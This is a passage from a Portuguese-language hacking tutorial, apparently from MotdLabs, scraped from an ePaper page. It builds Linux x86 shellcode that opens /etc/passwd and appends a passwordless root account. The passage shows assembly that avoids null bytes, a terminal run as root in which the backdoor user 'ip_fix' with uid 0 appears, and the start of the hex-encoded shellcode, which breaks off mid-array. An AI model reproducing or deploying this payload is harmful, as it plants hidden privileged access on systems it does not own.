You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
"push %ebx \n"<br />
E proseguirmos normalmente com o resto. =)<br />
"push $0x7361702F \n"<br />
"push $0x6374652F \n"<br />
"mov %esp, %ebx \n"<br />
É..., o que um null byte não faz a gente fazer? :P<br />
Seja como for, sempre há um jeito para sermos bem sucedidos em<br />
situações como essa. Agora vamos compilar, testar e debugar!<br />
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd2 asmpasswd2.c<br />
root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd2<br />
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd<br />
root:x:0:0::/root:/bin/bash<br />
...<br />
...<br />
...<br />
nobody:x:99:99:nobody:/:<br />
ip_fix::0:0::/root:/bin/sh<br />
root@motdlabs:~/IP_FIX/shellcode#<br />
SIM!!! FUNCIONA!!!<br />
Agora vamos a caça dos opcodes! =)<br />
shellcode/hexapasswd2.c<br />
/*<br />
* Shellcode pronto em hexadecimal.<br />
* Adiciona um usuário com premissões root.<br />
* by IP_FIX .<br />
* MotdLabs .<br />
* Compilação: # gcc -o hexapasswd2 -static hexapasswd2.c<br />
*/<br />
#include <br />
char shellcode[] = "\x31\xc0" /* xor %eax,%eax<br />
*/<br />
"\xbb\xff\x73\x77\x64" /* mov $0x647773ff,%ebx */<br />
"\xc1\xeb\x08" /* shr $0x8,%ebx */<br />
"\x53" /* push %ebx */<br />
"\x68\x2f\x70\x61\x73" /* push $0x7361702f */<br />
"\x68\x2f\x65\x74\x63" /* push $0x6374652f */<br />
"\x89\xe3" /* mov %esp,%ebx */<br />
"\x66\xb9\x02\x04" /* mov $0x402,%cx */<br />
"\xb0\x05" /* mov $0x5,%al */<br />
"\xcd\x80" /* int $0x80 */<br />
"\x89\xc3" /* mov %eax,%ebx */<br />
"\x68\x2f\x73\x68\x0a" /* push $0xa68732f */<br />
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */<br />
"\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */<br />
"\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */<br />
92